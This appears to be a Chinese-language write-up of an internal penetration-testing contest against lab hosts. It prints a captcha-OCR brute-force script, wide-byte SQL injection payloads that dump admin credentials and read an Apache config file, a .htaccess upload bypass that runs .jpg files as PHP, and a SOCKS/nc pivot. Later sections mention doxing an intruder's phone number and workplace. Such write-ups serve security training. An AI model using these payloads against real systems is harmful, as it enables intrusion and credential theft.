Loading
0

某安全团队内部渗透比赛记录

第一节:
title:进入192.168.1.6 获取秘匙。

ps: http://www.liuyan.com 跟 192.168.1.6是工作区
规程:渗透过程不得使用nmap等扫描端口工具,更加不能使用WEB扫描器。(只要有关于爬虫都不行 or 扫描owasp top 10 appsan wvs burp)除非工具是你个人写的。 更加不可以作弊:比如 ip冲突,中间人攻击。请保持好个人素质。特别注意:全过程中不得求助增援,只能靠个人实力,为了防止作弊全过程需要屏幕录像。
打开 http://192.168.1.6 提示没权限访问。。。
估计做了白名单验证。。。
然而:http://www.liuyan.com 是可以访问的。
简单收集下信息:
http://www.liuyan.com [200] Apache[2.4.7], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.7 (Ubuntu)], IP[192.168.1.7], Index-Of, Title[Index of /]


提示说:密码 4位int密码。
我一开始想到了密码爆破 至于验证码嘛 肯定是存在session没更新导致验证码复用的漏洞,但是经过测试发现这个漏洞不存在。
所以唯一的办法就是写验证码识别。。
分析一下验证码的 锚点 跟 干扰线,以及模糊度 等。

经过分析如果要让程序识别这种验证码等话成功率大概有90%。
# coding=utf-8
importrequests,pytesseract,os,time,re;
fromPILimportImage
 
cookie = {'PHPSESSID': 'e5n02iaupp5kbctejsn4i536m9'}
 
for inttin xrange(1000,9999):
    r = requests.get('http://www.liuyan.com/3.php',cookies=cookie) # 发送请求
    l = open('./3.png', 'w+')
    l.write(r.content);
    l.flush();
    os.fsync(l);
    l.close();
    if os.path.isfile('3.png') :
          Image.open('3.png')
          image = Image.open('3.png')
          vcode = pytesseract.image_to_string(image)
 
    canshu = {'act': 'post', 'password': intt ,'Verification':vcode}
    r = requests.post('http://www.liuyan.com/1.php',data=canshu,cookies=cookie)
    html = r.text.encode('utf-8');
    r = r"No,passworld";
 
    if re.findall(r,html) :
          print 'NO ,passwd: %i' % (intt);
 
    else:
          print 'YES ,passwd: %i' % (intt);
          break
 
    time.sleep(0.05);

[Bash shell] 纯文本查看 复制代码
密码 1115
然后进入到这个页面:

一直想不明白这是干嘛的。单引号也没报错。然后经用掉js。。

然后看到了这个:

应该是输出字符串之后就跳转了 导致看不到这个信息,再想他给我提示这个干啥?难到sql注入
看到了单引号被转义只能把注意力放到后台那边:

爆破了好久都没结果。。浪费了一堆时间,收集了出题官的手机啥的爆破都没结果。。
虽然单引号被转义了。但我突然又想到了宽字节注入。。。


果然。。。。。得到数据库:hacker
浏览器好麻烦。。想用burp但是又不能用。。
本来想爆数据库密码的 但是mysql没有开启外链

也考虑到数据库密码可能还解不开。
先进后台看看吧。
暴表:
select table_name from information_schema.tables where table_schema=database()

insert into liuyan values (‘運’ , (select table_name from information_schema.tables where table_schema=database() limit 0,1))##’ , ‘e’)

暴字段:
insert into liuyan values (‘運’ , (selEct GrouP_coNCat(COLUMN_NAME) fRom information_schEma.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1))##’ , ‘e’)

数据库 hacker
表:liuyan , admin
admin字段:user,pass
暴数据:
selEct GrouP_coNCat(user,0x2D002D00,pass) fRom admin as ww limit 0,1
insert into liuyan values (‘運’ , (selEct GrouP_coNCat(user,0x2D002D00,pass) fRom admin limit 0,1))##’ , ‘e’)

其实我很想用sqlmap进行注入 因为上面的规则没有说不能用sqlmap 但是sqlmap好像不支持values注入,注入的时候居然检测不出来。
然后我问了一个大神。


然后登录后台:

密码错误??这里我抽根烟花了10分钟在想原理(因为我整个数据库都翻遍了)
然后查看源码。。。

还好 我懂js。。。不然就永远卡在这了。。
一个点击事件触发一个函数然后你的cookie名称tem的值不等于hacker的话 那么就输出一句话 然后false 不再执行。
然后我禁用掉了js 进行登录发现还是登录不了。。难不成也在后台做限制了?好吧。还是老老实实的定义cookie 吧。

登录之后是个上传。不过需要提供上传路径。
获取上传路径有2种方法。
第一种 因为存在sql注入 所以把那个留言的数据全部删掉,看看报不报错,因为我发现好多程序员在前端输出数据的时候根本不判断数据是否为空就直接遍历了。
第二种 因为存在sql注入 所以读取服务器配置文件查看路径 当然如果默认路径没改的话。
ubuntu apache 的配置文件路径 /etc/apache2/apache2.conf
selEct load_file(0x2f6574632f617061636865322f617061636865322e636f6e6620)


经过测试 是黑名单验证
然后利用 .htaccess 上传
新建个 .htaccess文件内容:
ForceType application/x-httpd-php
SetHandler application/x-httpd-php
在他当前目录下 只要是以jpg结尾的 都会以PHP程序去解析


mac os x 渗透好麻烦,因为没环境。。。。挖漏洞还可以。。哎。这工具卡在这了,平时都能用的,今天换了jpg就卡这了。希望看到的反馈bug给这个作者。。

然后新建一个看看。

这权限好像有点不科学。不知道是不是出题官故意的。。。
下载个nc 进行转发

很多人都不知道为什么要用nc转发,难到用菜刀来执行命令不是方便点嘛?
这点我得说一下虚拟化的执行命令的区别。就比如:

看到区别在哪了吧?
前面我推断192.168.1.6 应该做了白名单 所以我的思路是想通过这个肉鸡来代理进行访问然后再渗透。
然后肉鸡上的Socks 已经安装成功

但是我自己的mac os x却安装失败

上kali吧 kali就是ubuntu….



哈哈 开心死了。居然跟我想的一样。。
http://192.168.1.6/admin.php 应该是后台登录。
http://192.168.1.6/register.php 这是注册的。。。

这里我花了整整差不多30分钟才搞定。
你想啊。他就给你一个登录一个注册,然后提示管理员的账号是admin。
然后我又想到了我以前看过一本书 就是白帽子讲解web安全。。
这个是my.ini的漏洞。
sql-mode=”NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION”
我还是说一下原理吧。。。。
比如一个表的结构是这样的:
create table admin(
username varchar(10) not null,
passwd varchar(10) not null);
可以看到username跟passwd的字节为10 但是这my.ini设置成
sql-mode=”NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION”的话
就算超出也会添加成功 比如:
insert into admin values(‘1234567891 2’,and);
他不会插入“1234567891 2 ”而是插 ”1234567891“ 因为指针到1的时候字节就等于10了。。。



最后得到密钥:adkbdf!@#dmejfn^&*!
除了第一节可以完成 其它都是完成不了的。
(个人赛)
第二节:
title:app反编译查找漏洞
规则:不得求助别人,全过程需要屏幕录像。
第三节:
title:修改Sqlmap源码
ps: http://www.demo.com/1.php?id=1 存在SQL注入 不过select from 单引号 union 都被
过滤了,而你们要做的就是通过SQLMAP进行注入。
规则:不得求助别人,全过程需要屏幕录像。
(团队赛)
第四节:
title:反黑客,抓黑客。
ps:某公司凌晨3点46分糟到不明黑客入侵,数据泄露。而你们要做的就是 定位他,找到他,逮捕他。
规则:没任何规则。
因为2~4都失败了,所以就没写了。
第二节失败原因:利用dex2jar jdgui进行反编译得到源码,然后。。。看不懂java语言 又找不到一些敏感的文件所以失败。
第三节失败原因:修改了sqlmap源码就存在各种bug。而且有部分源码还看不懂,因为太多模块都没用过。所以选择放弃。
第四节失败原因:黑客入侵了服务器然后修改apache日志清空,然后再删除,然后又写个脚本开机启动,开机后就会运行程序删除服务器日志等,我们还原了iis日志后 文件是空的。折腾了几小时之后选择放弃。(不过有1个成员成功获取到了入侵者ip 流程好像是入侵了vpn服务器之后收集黑客的脚印,获取了黑客的qq 最后成功获取到黑客ip 手机号码 常用密码 在哪工作。我很好奇的问他 你是怎么还原文件内容的。他跟我说了一大堆。我一点都听不懂。。。。)

【声明】:8090安全小组门户(http://www.8090-sec.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们:邮箱hack@ddos.kim,我们会在最短的时间内进行处理。